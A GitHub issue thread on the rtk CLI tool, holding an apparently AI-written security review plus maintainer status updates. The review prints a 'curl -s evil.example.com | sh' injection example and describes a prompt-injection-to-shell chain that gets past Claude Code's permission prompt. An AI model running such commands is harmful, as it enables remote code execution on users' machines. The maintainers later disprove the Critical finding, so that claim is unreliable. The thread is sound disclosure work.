rtk icon indicating copy to clipboard operation
rtk copied to clipboard

I asked claude --effort high to do a security review of rtk

Open the-michael-toy opened this issue 8 months ago • 14 comments

I love this idea and I am constantly trying to squeeze more value of a session because once a compression happens, in a complex collaborative session, important knowledge is always lost.

I know nothing, I just pulled the repo and ask Claude how safe it was. I was taken aback by the answer. Just because it seems like such an obvious thing to do, and the output was was more scary than I expected ...

Feel free to close this, I'm actually running rtk right now, but I felt like I need to at least mention this.

RTK Security Review

Date: 2026-03-16 Reviewer: Claude Opus 4.6 (automated) Scope: Full codebase at commit 4467296 (master)

Critical High Medium Low Info
1 3 5 4 3

Overall verdict: Mostly sound architecture with real security engineering (SHA-256 hook pinning, trust boundaries), but some significant issues. The project has done more security work than the typical CLI tool.


Policy vs Implementation Gap

The project has an existing SECURITY.md with a thorough PR review policy. Several findings in this review directly contradict the project's own stated security rules:

Policy rule (SECURITY.md) Violation found
Command::new("sh") listed as dangerous pattern (line 109) runner.rs and summary.rs use exactly this pattern (C-1)
"No shell, direct binary execution" (line 159) sh -c with unsanitized user input in 3 code paths
"NEVER use .unwrap() in src/" (line 172) tee.rs byte-index slicing panics on multi-byte UTF-8 (L-3)
"Data exfiltration" listed as a risk (line 24) Telemetry sends device hash + top commands with no opt-in consent (H-1)
"Canonicalize file paths to prevent traversal attacks" (line 181) RTK_TEE_DIR accepted without validation (M-1)
"tracking.db exposure" listed as a concern (line 24) Full command strings with secrets stored for 90 days (M-2)

The security policy describes the right approach — the implementation doesn't fully match it.


Critical

C-1: Shell injection via sh -c in runner.rs / summary.rs

Files: src/runner.rs (lines 14-27, 73-86), src/summary.rs (lines 15-28)

All three commands (rtk err, rtk test, rtk summary) receive a free-form string from the user (or from the Claude Code hook which rewrites arbitrary user commands) and pass it directly to sh -c / cmd /C:

// runner.rs — the command string is user-controlled
Command::new("sh")
    .args(["-c", command])   // command = args.join(" "), unescaped

The command argument is constructed in main.rs as args.join(" "), where args comes from Vec<String> captured by Clap with trailing_var_arg = true. A command like:

rtk err cargo test; curl -s evil.example.com | sh

is a legitimate RTK invocation in which the shell receives cargo test; curl -s evil.example.com | sh verbatim. Because RTK's hook rewrites things like cargo test to rtk test cargo test, a carefully crafted Claude Code session that causes Claude to run cargo test; <payload> would be rewritten into shell injection via this path.

The severity is elevated because:

  1. The hook grants permissionDecision: "allow" automatically, bypassing Claude Code's normal permission prompt.
  2. The inputs flow from the LLM's tool-call output, creating an LLM prompt-injection -> shell-injection chain.

Fix: Reconstruct the command using execv-style argument passing, never via the shell:

// Instead of sh -c "all args joined as string":
let tokens = shell_split(command);
if let Some((bin, rest)) = tokens.split_first() {
    utils::resolved_command(bin).args(rest).status()?;
}

If shell features like pipes and semicolons are intentional (so users can do rtk err "cargo build && cargo test"), document this as a trust boundary: only commands typed by the authenticated local user, not commands rewritten from LLM output, should flow through this path. The hook should not rewrite commands that contain shell metacharacters.


High

H-1: Telemetry sends usage data with no install-time consent

File: src/telemetry.rs

When built with RTK_TELEMETRY_URL (which the official Homebrew build uses), telemetry sends to a third-party endpoint:

let payload = serde_json::json!({
    "device_hash": device_hash,   // SHA-256(hostname + username)
    "top_commands": top_commands,  // ["rtk git log", "rtk cargo test", ...]
    "tokens_saved_24h": tokens_saved_24h,
    "tokens_saved_total": tokens_saved_total,
    ...
});

Issues:

  • device_hash is a persistent identifier derived from hostname and username — stable across sessions, linkable to a specific workstation.
  • top_commands reveals what tools/workflows the user runs. Combined with the device hash, this is a behavioral fingerprint.
  • No install-time consent dialog. telemetry.enabled = true is the default. Opt-out requires editing ~/.config/rtk/config.toml.
  • The telemetry URL and token are compiled into the binary from GitHub Actions secrets. Users cannot inspect the endpoint without disassembling.

Fix: (1) Display a one-time opt-in prompt during rtk init or first run, storing the answer in config.toml. (2) Default to telemetry.enabled = false. (3) Print the telemetry URL in rtk config --show so users can see where data goes.

H-2: CI trust bypass — RTK_TRUST_PROJECT_FILTERS=1 is trivially exploitable

File: src/trust.rs (lines 98-110)

if std::env::var("RTK_TRUST_PROJECT_FILTERS").as_deref() == Ok("1") {
    let in_ci = std::env::var("CI").is_ok()
        || std::env::var("GITHUB_ACTIONS").is_ok()
        ...
    if in_ci {
        return Ok(TrustStatus::EnvOverride);
    }
}

The CI detection prevents .envrc injection, but a repo's Makefile, shell script, or test fixture can trivially set CI=1 and RTK_TRUST_PROJECT_FILTERS=1 before invoking rtk, bypassing the trust model entirely and auto-loading an untrusted .rtk/filters.toml.

Fix: Require stronger CI context proof (e.g., GITHUB_TOKEN, GITLAB_TOKEN, or /proc/1/cgroup patterns). Alternatively, accept that CI override is a privileged configuration that must be set by the CI platform itself, not by repo code.

H-3: Global filters loaded without integrity check

File: src/toml_filter.rs (lines 210-218)

// Priority 2: user-global ~/.config/rtk/filters.toml
if let Some(config_dir) = dirs::config_dir() {
    let global_path = config_dir.join("rtk").join("filters.toml");
    if let Ok(content) = std::fs::read_to_string(&global_path) {
        match Self::parse_and_compile(&content, "user-global") {
            Ok(f) => filters.extend(f),

Project-local .rtk/filters.toml requires SHA-256 verification, but ~/.config/rtk/filters.toml is trusted unconditionally. If malware modifies the global filter, it can:

  • Suppress security scanner output (via match_output with catch-all pattern)
  • Rewrite arbitrary command output via replace rules
  • Silently hide vulnerability findings from the LLM

This is particularly dangerous because RTK sits in the LLM's output pipeline.

Fix: Apply the same SHA-256 pinning to the global filter. On first load, prompt the user to review and accept. On change, flag as ContentChanged and refuse to load.


Medium

M-1: tee.rs path traversal via RTK_TEE_DIR environment variable

File: src/tee.rs (lines 36-38)

if let Ok(dir) = std::env::var("RTK_TEE_DIR") {
    return Some(PathBuf::from(dir));
}

The directory is used directly without canonicalization or validation. A value of RTK_TEE_DIR=../../etc would write files into unexpected locations. Combined with the LLM's ability to set environment variables in tool calls, this could write files to locations the user didn't intend.

Fix:

let dir = PathBuf::from(&dir_str);
if dir.is_relative() {
    eprintln!("rtk: RTK_TEE_DIR must be an absolute path, ignoring");
    return None;
}

M-2: Secrets stored in tracking database

File: src/tracking.rs (lines 360-373)

The original_cmd and rtk_cmd fields stored in SQLite include full command strings with all arguments. Commands like rtk psql -U admin -W mysecretpassword or rtk curl -H "Authorization: Bearer tok_abc123" persist verbatim in ~/.local/share/rtk/tracking.db for 90 days. Since rtk gain --history renders these rows, they may also appear in LLM context.

Fix: Strip known flag-value patterns (bearer tokens, --password, -p, -W, Authorization:) from original_cmd before storage.

M-3: ANSI regex does not cover OSC sequences

File: src/utils.rs (lines 48-52)

The ANSI stripping regex \x1b\[[0-9;]*[a-zA-Z] does not cover OSC sequences (\x1b]...ST), hyperlink sequences, or other VT100 codes. Outputs with OSC hyperlinks (common in modern terminal emulators) pass through unstripped, potentially injecting embedded URLs into the LLM context.

M-4: runner.rs does not propagate exit codes in all paths

File: src/runner.rs (lines 92-103)

When cargo test fails with non-zero exit code but the filter produces output, RTK exits 0. Claude Code receives a 0 exit code and assumes the test command succeeded. The run_test function prints the summary and returns Ok(()) without calling std::process::exit(exit_code).

Fix: Add std::process::exit(exit_code) at the end of both run_err and run_test when exit_code != 0.

M-5: rtk proxy logs full command strings to tracking DB

File: src/main.rs (lines 2092-2097)

The proxy command records full command and arguments to the tracking database. For commands like rtk proxy curl -H "Authorization: Bearer sk-abc", the bearer token ends up in SQLite for 90 days. Same issue as M-2 but in the proxy path where users may run more sensitive commands.


Low

L-1: Hook audit log has no size limit

File: .claude/hooks/rtk-rewrite.sh (lines 9-17)

When RTK_HOOK_AUDIT=1 is set, every hook invocation appends to hook-audit.log with no rotation or size cap. In long sessions this grows unboundedly and preserves potentially sensitive command arguments indefinitely.

L-2: rtk env --show-all exposes secrets to LLM without warning

File: src/env_cmd.rs (line 248)

rtk env --show-all disables all masking and prints raw values of AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, etc. to stdout. In a Claude Code session, this exposes all secrets to the LLM's context window without any confirmation prompt. The sensitive pattern list is also missing patterns like passwd, pass, and pwd.

L-3: tee.rs byte-index slice panics on multi-byte UTF-8

File: src/tee.rs (lines 122-126)

let content = if raw.len() > max_file_size {
    format!(
        "{}\n\n--- truncated at {} bytes ---",
        &raw[..max_file_size],   // byte-index slice
        max_file_size
    )

&raw[..max_file_size] panics if the index falls in the middle of a multi-byte UTF-8 character (e.g., Japanese error messages, emoji in test names).

Fix:

let boundary = raw.floor_char_boundary(max_file_size);
format!("{}\n\n--- truncated at {} bytes ---", &raw[..boundary], max_file_size)

L-4: sanitize_slug byte-index slice assumption

File: src/tee.rs (lines 27-29)

if sanitized.len() > 40 {
    sanitized[..40].to_string()  // byte slice, not char slice
}

Safe in practice because the preceding map ensures only ASCII characters pass through, but relies on an implicit invariant. Use sanitized.chars().take(40).collect::<String>() to be explicit.


Info

I-1: Hook auto-approval widens Claude Code's attack surface

File: .claude/hooks/rtk-rewrite.sh (lines 61-70)

The hook outputs permissionDecision: "allow" for every rewritten command. Any command RTK rewrites is auto-approved without user prompt. The rtk verify / integrity::runtime_check() mechanism guards against hook tampering, which is the right mitigation. Expanding what RTK rewrites transitively expands what is auto-approved.

I-2: ureq background thread violates "zero async" constraint in spirit

File: src/telemetry.rs (line 44), Cargo.toml (line 31)

Telemetry spawns a thread::spawn to fire HTTP requests. While std::thread::spawn is not async, it does create a background thread. If the main thread exits before the background thread finishes, there's a SIGTERM race. In practice this is benign.

I-3: SQLite GLOB path matching breaks on Windows paths with brackets

File: src/tracking.rs (lines 54-61)

SQLite's GLOB operator treats [, ], *, and ? as special characters. A Windows path like C:\projects\[client-A]\myapp\ would cause glob matching to fail. A plain LIKE with ESCAPE or prefix substring check would be safer cross-platform.

the-michael-toy avatar Mar 16 '26 19:03 the-michael-toy

H-1: Telemetry sends usage data with no install-time consent and the M-2: Secrets stored in tracking database seem like the biggest issues to me

arashout avatar Mar 16 '26 19:03 arashout

So on my machine I am doing the following which attempts to address C-1

  • I have an auto generated set of shims for every command rtk wraps
  • I have an alias for claude which adds this directory at the front of my path and sets an environment variable to the shim directory
  • I have a custom version of rtk which strips that directory from the path if the environment variable is set
  • auto approval is off, normal claude approval methods
  • err, test, summary still figuring out what to do about these

the-michael-toy avatar Mar 16 '26 20:03 the-michael-toy

I wouldn't use this tool till this is solved

RektTillNoon avatar Mar 16 '26 20:03 RektTillNoon

In my case I am trying to use it with my more cautious set up, to see what my actual gains are, to see if it worth investing in.

the-michael-toy avatar Mar 16 '26 21:03 the-michael-toy

just installed and then see this issues. considering using this tools

aikusuma avatar Mar 16 '26 23:03 aikusuma

I managed to disable telemetry (which was the biggest blocker for me) by adding the following section to ~/Library/Application Support/rtk/config.toml

[telemetry]
enabled = false

You can verify the before and after by running the command rtk config -v

sanjayts avatar Mar 17 '26 09:03 sanjayts

@sanjayts did the config file exist at this path?

dfurater avatar Mar 17 '26 14:03 dfurater

@dfurater Nope, I had to create it.

sanjayts avatar Mar 17 '26 15:03 sanjayts

Thanks for the thorough review — really appreciate you taking the time to run this.

On H-1 (telemetry): the missing documentation is an oversight on our part.

To clarify what RTK collects (opt-out, anonymous, daily):

  • Device hash: SHA-256 of hostname+username (not reversible)
  • Version, OS, arch: for compatibility tracking
  • Commands count (24h): how many commands run, not which ones
  • Top commands: generic names only (e.g. "git", "cargo", not arguments or file paths)
  • Savings %: token reduction metrics
  • No source code, no file paths, no secrets are ever transmitted

This is standard practice for open-source CLI tools (rustup, homebrew, npm all do this). We need these metrics to prioritize which filters to build and measure adoption.

Opt-out: RTK_TELEMETRY_DISABLED=1 env var or [telemetry] enabled = false in ~/.config/rtk/config.toml.

We'll add a "Privacy & Telemetry" section to the README and display a notice during rtk init. Fix coming shortly.

pszymkowiak avatar Mar 23 '26 10:03 pszymkowiak

Re-audited all findings against current develop branch. Status update:

Finding Status
C-1: Shell injection sh -c Present in summary.rs only (runner.rs is clean). Investigating scope.
H-1: Telemetry opt-out default Present — design decision, documented in README
H-2: Trust bypass CI env Mitigated — now requires CI env var + warns if not in CI
H-3: Global filters no integrity Fixed in PR #1068 — SHA-256 baseline + warning on change
M-1: Path traversal TEE_DIR Present — tracking for fix
M-2/M-5: Secrets in tracking.db Present — design decision, tracking for scrub
M-3: ANSI regex incomplete Present — tracking for fix
M-4: Exit codes not propagated Fixed
L-2: env --show-all Not applicable — explicit opt-in flag
L-3: UTF-8 byte slice panic Present — tracking for fix
L-4: sanitize_slug Fixed — ASCII-only output

3 fixed, 2 not applicable, 8 tracked. Working through them.

pszymkowiak avatar Apr 07 '26 09:04 pszymkowiak

Update after deep re-audit on current develop branch:

Finding Severity Status Details
C-1: sh -c in summary.rs ~~Critical~~ Medium By design No rewrite rule routes to rtk summary — hook never triggers it. User calling it directly already has equivalent shell access. Will add SAFETY comment.
H-1: Telemetry opt-out High Mitigated Documented in README. rtk init output updated in PR #1000. Collects no secrets/paths/code.
H-2: Trust bypass CI env High Mitigated Now requires CI env var. Gap: Makefile can set CI=1 but attacker already controls the repo at that point.
H-3: Global filters no integrity High Fixed PR #1068 — SHA-256 baseline + warning on change + rtk trust --global
M-1: Path traversal TEE_DIR Medium Not applicable No privilege boundary — RTK runs as local user. Writing to /etc fails with permission denied.
M-2/M-5: Secrets in tracking.db Medium Acknowledged Tracking for future scrub. File is user-readable only.
M-3: ANSI regex incomplete Medium Open Missing OSC/DEC sequences. Tracking for fix.
M-4: Exit codes Medium Fixed
L-1: Audit log unbounded Low Mitigated Opt-in only (RTK_HOOK_AUDIT=1), disabled by default
L-2: env --show-all Low Not applicable Explicit opt-in flag, masking is default
L-3: UTF-8 truncation panic Low Fixed PR #1072 — char-boundary-safe slicing + 2 tests
L-4: sanitize_slug Low Fixed Output is ASCII-only, byte slice is safe

Score: 4 fixed, 3 not applicable/by design, 3 mitigated, 2 open (M-2/M-5 tracking, M-3 minor).

Thanks again @the-michael-toy for the thorough audit — it drove real fixes.

pszymkowiak avatar Apr 07 '26 14:04 pszymkowiak

wshm · Automated triage by AI

🔍 Automated Triage

🐛 Category bug
🟠 Priority high
🎯 Confidence 82%

Summary

Security review surfaces shell injection, telemetry consent, and integrity check gaps; two PRs already in progress address the most critical findings.

📁 Relevant files
  • src/runner.rs
  • src/summary.rs
  • src/telemetry.rs
  • src/trust.rs
  • src/toml_filter.rs
  • src/tee.rs

Triaged automatically by wshm · This is an automated analysis, not a human review.

pszymkowiak avatar Apr 12 '26 12:04 pszymkowiak

Hey — saw your comment on #640 about losing context during compression in collaborative sessions. Trying to figure out how big a problem that actually is for people relying on these tools day to day. Mind if I ask a couple quick questions about what you do when that happens?

Ezechis avatar Sep 04 '26 16:09 Ezechis

Closing after re-checking every finding against current develop (0924356b, 2026-09-20). Each claim below was verified independently twice against the actual source, not the PR descriptions. The thread mixes an audit whose top finding doesn't hold, status tables that cite PRs which were never merged, and a few leftovers that already have their own tickets.

Not a vulnerability

  • C-1 (sh -c, rated Critical): the attack chain assumed the hook rewrites cargo test into rtk test cargo test. It never has — not on develop, not at the audited commit, not anywhere in git history (git log -S'"rtk test"' over src/discover, src/hooks and every hook script is empty). The only cargo rule is cargo test → rtk cargo test. rtk err / rtk test / rtk summary are reachable only when a user types them, at which point they already have a shell. The sh -c is still there, on purpose (pipes, &&).
  • M-1 (RTK_TEE_DIR): no privilege boundary, rtk runs as the local user. Still unvalidated, still not a vuln.

Fixed since the audit

  • H-1 telemetry: opt-in. TelemetryConfig defaults to enabled=false, consent_given=None; rtk init asks [y/N] on a TTY and never writes true on its own; nothing is sent while consent_given != Some(true).
  • H-3 global filter integrity: fixed, but by PR #2748 (commit 1130a7ca), not by #1068 as the table says — #1068 was closed unmerged by the stale bot on 2026-09-14. ~/.config/rtk/filters.toml now goes through the same check_trust_with_content gate as .rtk/filters.toml. Minor asymmetry: rtk verify only exercises the project file.
  • M-4 exit codes: run_err / run_test return Result<i32>, main exits with it.
  • L-3 UTF-8 truncation panic: PR #1072.
  • L-4 sanitize_slug: ASCII-only, no byte slicing left.

Changed, not fixed

  • L-2 rtk env --show-all: the flag is gone, and so is the default masking that went with it — removed deliberately in #2554 (223dda29, "masking env secrets is not what core RTK is for"). rtk env now prints every value in clear. env is not hook-rewritten, so only explicit rtk env calls are affected. Left as a design decision.
  • H-2 CI override: the in_ci check the audit quoted already existed; nothing changed except a stderr warning. A repo Makefile setting CI=1 still bypasses it. Accepted trade-off: the attacker already controls the repo at that point.

Still open, tracked elsewhere

  • M-2 / M-5 secrets stored verbatim in tracking.db: the redaction PRs cited as "tracking for scrub" (#1987, #1988) were both closed unmerged; nothing landed. → #1875 (point 2), #4147.
  • M-3 strip_ansi misses OSC sequences (only \x1b\[[0-9;]*[a-zA-Z], nothing for \x1b]) → #3738 covers the same regex.
  • I-3 SQLite GLOB with [/] in the project path (7 query sites, no escaping; '/x/[wip]/app/sub' GLOB '/x/[wip]/app/*' → 0). Minor: rtk gain --project under-counts sub-directories of such a project. Not Windows-only. Not opening a ticket for it.

Thanks @the-michael-toy — the audit did drive real fixes (H-1, M-4, L-3, L-4, and indirectly H-3).

pszymkowiak avatar Sep 20 '26 15:09 pszymkowiak